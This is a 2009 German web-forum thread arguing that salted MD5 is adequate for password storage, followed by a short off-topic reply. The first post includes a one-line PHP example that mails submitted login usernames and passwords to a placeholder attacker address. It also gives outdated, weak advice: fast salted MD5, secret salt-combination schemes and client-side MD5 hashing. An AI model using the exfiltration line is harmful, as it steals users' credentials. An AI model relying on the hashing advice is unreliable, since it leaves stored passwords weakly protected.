[ erweiterte Suche ]

»Warum MD5 sicher ist und viel Unsinn im Netz verbreitet wird

Feedback plsNeues Thema eröffnenNeue Antwort erstellenDas Thema einem Freund empfehlenDas Thema druckenSinnvolle Exits bei Angriffen definieren
Seite 1 von 1 [4 Beiträge]
AutorNachricht
Administrator 


Name: Marc
Geschlecht:
Anmeldedatum: 28.08.2004
Beiträge: 39678
Chats: 11125
Wohnort: Hennef


Meine eBay-Auktionen:
21.08.2009, 10:07


Hallo,

im Netz wird immer wieder verbreitet, dass md5() unsicher sei, weil es ja einfach sei mögliche Kollisionen innerhalb von wenigen Tagen zu berechnen. Das stimmt und da kann man auch nicht widersprechen.

Bevor das "aber" kommt erstmal zu den Hackern und was sie eigentlich wollen.

Grundsätzlich möchte ein Hacker eine Seite platt machen oder Daten stehlen, um sie weiterzuverkaufen. Daher sind Communities ein großes Ziel für Hacker, da dort viele Daten zur Verfügung stehen, die man in Bares umwandeln kann. Beispielsweise versucht ein Hacker die Datenbank zu stehlen und testet mit dieser die Emailadressen der User und deren Passwörter bei Paypal etc.

Klingt gefährlich, ist es auch. Daher generieren viele aus einem Passwort einen MD5 Hash. Dieser kann nicht zurückberechnet werden. So wird z.B. aus 123456 der MD5 Hash:
e10adc3949ba59abbe56e057f20f883e

Falls ein Hacker also die Datenbank in die Hand bekommt und diesen Hash vor sich sieht, kann er erstmal grundsätzlich nichts damit anfangen. Aber er kann hingehen und per Bruteforce jede mögliche Variante auf seinem PC bereithalten. Er lässt ein Script einfach alle MD5-Hashes beginnend mit 1 durchlaufen. Irgendwann ist er dann bei 123456 und schon hat er das Passwort geknackt.

Natürlich sind Hacker nicht blöd. Bruteforce dauert viel zu lange, also bedient man sich umfangreichen Wörterbüchern und Passwort-Datenbanken, die typische Passwörter enthalten. Also man probiert gleich 123456, auto, oma, usw. aus. Die Wahrscheinlichkeit ist sehr groß, dass damit ein großer Teil der Passwörter geknackt wird.

Also ist MD5 doch unsicher?
Im Grunde schon, aber nur deshalb weil md5() an dieser Stelle falsch eingesetzt wurde. Und man muss dazu sagen, dass es vollkommen egal ist, welchen Algorhythmus man einsetzt. sha1() ist gegenüber Bruteforce genauso unsicher.

Das Zauberwort heißt hier "Salt". Ein Salt ist ein zufälliger String, der vor der der Generierung des MD5 Hashs dem Passwort beigefügt wird.

Also z.B. so:
   Code:
$salt = md5(uniqid(mt_rand(), true));
$password = '123456';
$hash = md5($password . '_' . $salt);


In der Datenbank landet dann hash und salt (damit wir in der Lage sind den Hash erfolgreich zu vergleichen).

Sagen wir mal in der Datenbank steht nun:
Hash: ac9a8441c05b6ae0ae0e393ba4e6d936
Salt: 091ec7dfff8146ede21a08a82fecef9e

Der Hash kann nur generiert werden, wenn md5() folgendes enthält:
123456_091ec7dfff8146ede21a08a82fecef9e

Nun zurück zum Hacker:
Er sieht nun die beiden Werte Hash und Salt. Nun ist er traurig, denn er weiß nicht, wie der Hash erstellt wird. Erst wenn er weiß, dass die beiden Werte hintereinander mit einem Unterstrich übergeben werden, kann er wieder mit Bruteforce beginnen.

Daher ist es unheimlich wichtig, dass der Hacker niemals Zugriff auf die Datenbank UND den FTP erhält. Wobei dann eh alles zu spät sein dürfte ;)

Natürlich könnte der Hacker immer noch hingehen und mit Bruteforce den langen String herausfinden:
123456_091ec7dfff8146ede21a08a82fecef9e

Nur dauert das um einiges länger und die Wahrscheinlichkeit ist höher, dass er auf eine Kollision stößt, die ihm auch nicht weiter hilft.

Wichtig ist nur, dass man den salt nicht einfach an das Passwort anhängt, sondern sich eine eigene Variante ausdenkt. z.B. könnte man hingehen und nur die ersten oder letzten x Zeichen des Salts verwenden oder man baut noch andere Strings ein, die sich nicht mehr ändern, wie z.B. das Datum der Registrierung des Mitglieds usw.

Erstes Fazit zu md5:
md5() ist genauso unsicher wie jeder andere Algo auch, wenn man keine salts einsetzt.

FTP muss sicher sein:
Wenn ein Hacker FTP-Zugriff erlangt, nützt die umfangreichste Verschlüsselung nichts, denn Passwörter werden in aller Regel per Klartext vom Browser übertragen. D.h. wenn er z.B. das Ziel eines Login-Formulars mit so einem simplen Code ausstattet, wars das mit der Sicherheit:
   Code:
mail('hacker@example.org', 'neues Passwort', 'User: ' . $_POST['username'] . ' Passwort: ' . $_POST['password']);


Mehr Sicherheit:
- Passwörter nicht in Klarschrift über das Login-Formular senden, sondern direkt als MD5 Hash. Javascript hilft hier weiter:
http://aktuell.de.selfhtml.org/artikel/javascript/md5/
Noch besser mit Salts, die z.B. nur x Minuten lang gültig sind
- Emailadressen in der Datenbank verschlüsseln. in mysql gibt es dazu z.B. AES_ENCRYPT(). Auch hier sollte man salts einsetzen.
- Usernamen könnte man ebenfalls verschlüsseln
Nach obenprofil pn email
Beobachter 

Anmeldedatum: 05.06.2009
Beiträge: 4
Chats: 0
02.09.2009, 05:18


http://www.linuxtaskforce.de/hacker-howto-ger.html
Nach obenprofil pn
Administrator 


Name: Marc
Geschlecht:
Anmeldedatum: 28.08.2004
Beiträge: 39678
Chats: 11125
Wohnort: Hennef


Meine eBay-Auktionen:
02.09.2009, 06:33


Wie genau soll das jetzt mit meinem Thema zusammenhängen?
Nach obenprofil pn email
Beobachter 

Anmeldedatum: 05.06.2009
Beiträge: 4
Chats: 0
02.09.2009, 13:59


Ein Hacker möchte keine Seiten platt machen oder Daten stehlen.
Er/Sie interessiert sich z.B. für Lösungswege und dem tieferen Verständnis hinter einer Aufgabe.
Verschlüsseln ist schliesslich auch etwas anderes als ein Hash-Werte von etwas zu bilden.

Btw. damit wollte ich deinen Beitrag nur ergänzen ;-)
Nach obenprofil pn
Gast 

02.09.2009, 13:59


Mach mit!

Wenn Dir die Beiträge zum Thema "Warum MD5 sicher ist und viel Unsinn im Netz verbreitet wird" gefallen haben oder Du noch Fragen hast oder Ergänzungen machen möchtest, solltest Du Dich gleich bei uns anmelden:

    » Anmelden

Registrierte Mitglieder genießen die folgenden Vorteile:
✔ kostenlose Mitgliedschaft
keine Werbung
✔ direkter Austausch mit Gleichgesinnten
✔ neue Fragen stellen oder Diskussionen starten
✔ schnelle Hilfe bei Problemen
✔ Bilder und Videos hochladen
✔ und vieles mehr...

Verwandte Suchbegriffe

md5 unsicher, md5 sicher, md5 sicherheit, wie sicher ist md5, md5 sicher?, sicherheit md5, java script bilden von md5 hash, sicherer als md5, md5 kollisionswahrscheinlichkeit, md5 kollision wahrscheinlichkeit, unsinn netz, warum md5, md5 kollisionen, md5 hash unsicher, ist md5 sicher, md5 kollisionen berechnen, md5 hash sicherheit, php md5 unsicher, md5 kollision, md5 noch sicher
Nach oben
Seite 1 von 1 [4 Beiträge]
Neues Thema eröffnenNeue Antwort erstellen
Ähnliche BeiträgeRe:HitsLetzter Beitrag
Warum wird der Auspuff lauter wenn er warm ist ?
Hallo Leute, Ich habe mir schon des öfteren Gedanken gemacht warum der Auspuffsound lauter wird wenn die Abgasanlage richtig warm gefahren ist. In meiner kompletten Anlage ist kein Gramm Dämwolle und wenn er abgekühlt ist ist er ja wieder...
von DODGE-V8
9168517.07.2008, 13:29
littlegreenjazz
BB1 Innenraumfilter wo? und warum so viel Bremsstaub
Hallo Leute, entweder bin ich zu dumm oder mei Auto ha tatsächlich keinen Innenraumfilter. Die Scheiben beschlagen relativ schnell, hab mir gedacht den innenraumfilter zu erneuern, aber meine Suche endete vergeblich, auch d e Bedienungsanleitung half...
von abidin
514807.08.2009, 20:55
abidin
Mein Civic ist fertig Lackiert und ist bzw wird verkauft
Nachdem ich seit 2 wochen Ohne Auto bin weil er beim Lackierer steht stell ich mal Fotos rein wie er im Moment ist bzw. war bevor er zum Lacker kam. Farbe wird Weiss und haube mal Schwarz. Später wird die haube noch mit Carbon Überzogen aber nicht...
Seite 2, 3, 4, ...17, 18, 19von honda_Dream
1832264117.07.2008, 08:53
el bosso
Cookie-Free Domain ist Unsinn
Hallo, zahlreiche Dokus empfehlen s.g. cookie-free Domains. Hier ein Auszug aus der YSlow Empfehlung: Use Cookie-free Domains for Components tag: cookie When the browser makes a request for a static image and sends cookies together with the...
[Allgemein]von mgutt
042723.10.2010, 12:22
mgutt
Wie sicher ist Tagesgeld
Einlagen auf Tagesgeldkonten unterliegen der Einlagensicherung, sind daher mündelsicher gem. § 1807 BGB. In der EU beträgt die gesetzlich vorgeschriebene Einlagensicherungsgrenze seit dem 30. Juni 2009 100% der Einlagensumme, maximal jedoch 50.000 EUR....
von mgutt
03510.02.2011, 18:27
mgutt
das ist der Buchstabier Champion??? sicher ?
http://www.hans-wurst.de/buchstabier_champion_3981_media.html ...
von rojo
729109.06.2007, 11:33
Civic2k
warum schluckt beim magnaflow so viel sprit??
ich habe ein problem mit meinem auspuff. ich habe einen Magnaflow und der schluckt das es kracht. ich muss sehr oft tanken fahren, komme auch mnit 25 euro als etwas mehr als die hälfte grad mal einen tag aus oder so. woran kann das denn...
Seite 2, 3, 4, 5von Hondacivicgirl
46132823.05.2009, 07:19
Fuchs
Heizung wird nicht warm :( Warum??
Hallo. Also bei meinem EJ2 wird die Heizung einfach nicht warm, auch wenn ich 1stunde fahre die bleibt kalt :( Woran liegt das? Wasn da kaputt? Ist das viel arbeit es zu...
von marcel783
480330.09.2006, 12:24
*Civic Deluxe*
Motor wird zu heiß aber warum???
so ich war heute auf dem rückweg von verwanten, als ich einen kurzen zwischen stop einlegte und dann nach den wagen wieder startete brubelte der ganz komisch und eine riesen weiße qualm wolke kamm aus dem auspuff nach einmal aufs gas tretten war das dann...
Seite 2, 3, 4, 5, 6von EJ2_Junky
52991106.09.2005, 13:00
EJ2_Junky
Tuning - die Diskussion zu Sinn und Unsinn
EDIT by MaXReV: Begonnen hat das mit einer Anleitung für einen Umbau des Scheibenwischers für den Honda Jazz, die hier zu finden ist: http://www.maxrev.de/jazz-heckscheibe-washanlage-wechseln-in-vertical-position-t17192.htm Was soll das??? Das...
Seite 2, 3, 4, ...8, 9, 10von Nummer2
92436219.07.2006, 00:30
EG_XXX
© 2004 - 2012 www.programmierer-forum.de (srv02) | Communities | Impressum